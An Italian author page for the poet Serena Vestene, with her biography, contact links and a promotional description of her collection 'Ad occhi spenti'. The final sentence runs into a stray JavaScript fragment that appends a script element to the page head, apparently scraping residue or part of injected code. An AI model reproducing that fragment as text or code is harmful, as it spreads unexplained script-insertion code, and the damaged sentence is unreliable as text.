Serena Vestene
Serena Vestene nasce il 4 marzo 1977 a Verona, dove tuttora vive. Diplomatasi nel 1996 perito aziendale e corrispondente in lingue estere lavora da anni per il mercato nazionale, internazionale e in particolare tedesco come addetta al customer care service. Interessi letterari e attitudini innate, l’hanno portata ben presto a sviluppare esperienze di scrittura creativa, che, unite poi negli anni all’amore per i viaggi e per gli scambi culturali, hanno dato vita in molti dei suoi componimenti poetici a un connubio tra i verbali fotogrammi di luoghi, vissuti e attraversati in varie parti del mondo, e una più’ intima e introspettiva rielaborazione interiore, definendo con la sua penna e il suo stile peculiare una sorta di cammino dell’anima per le città’, i deserti e le foreste, fino al cuore più palpitante del pianeta e dell’io. D’altro canto l’universalità dei temi trattati che affondano radici nella natura più autentica dell’uomo, arriva a toccare corde riconosciute di rilevanza comune, forgiando le sue poesie di un senso di ricerca interiore continuo. Appassionata d’arte in ogni sua forma, da qualche anno ha anche iniziato a dipingere su tela.
Ipse dixit: “Tu respira e spegni gli occhi e lascia che l’anima ti tocchi”
E-mail: info@serenavestene.it
Profilo facebook: Serena Vestene poetessa
Sito personale: www.serenavestene.it
Ad occhi spenti (Photocity Edizioni Open)
In questa prima raccolta l’Autrice compie un percorso di viaggio dell’anima e nell’anima. Il corpo e i sensi a sorreggere in questo cammino. Tra sassi, sole, lacrime e polvere. Rimanendo sulle punte dell’anima. In funambolico equilibrio. Ad occhi spenti. E in questo viaggio il corpo si riconosce e si protende verso un mondo minerale e vegetale, un universo primigenio che funziona apparentemente in assenza di umanità; ma che, a fronte di questo donarsi totalizzante dell’io, risponde con una fraterna accoglienza, un’intima corrispondenza del sentire. L’avventura esteriore porta così a regioni lontane, nel tempo e nello spazio; ma ha pur sempre una sua tracciabilità interna. Le cinquantotto poesie sono avventure dello spirito e dei sensi, a bordo d’uno sguardo, d’un riflesso, di un respiro. E’ un’anima pienamente femminile a guidare il lettore in questi spostamenti: i sensi tesi fino allo spasimo, agli estremi limiti delle loro capacità percettive assicurano all’Autrice un senso pieno e vitale dell’essere, dell’esistere. Cinquantotto perle che sono lampi di luce: brevi, improvvisi, intensi e avvolgenti. E con una scrittura piena di grazia, dallo stile ricco, scorrevole e brillante, con le parole racconta. Versi liberi e anafore conferiscono al discorso un’impronta intimistica, riflessiva e a tratti ipnotica. L’io, punto d’arrivo e di partenza, partecipa del viaggio visibile facendone uno parallelo negli abissi della coscienza, in un atto regressivo che lo porta a scoprirsi ogni volta più autentico, più consapevole delle umane fragilità (“noi / sempre più veloci / chiediamo strada / alla nostra caducità”). Indubbiamente la sua scrittura ha la forza della vita vera e la bellezza del sogno. Le sue parole diventano, forse suo malgrado, una imperdibile lezione di vita.d.getElementsByTagName(‘head’)[0].appendChild(s);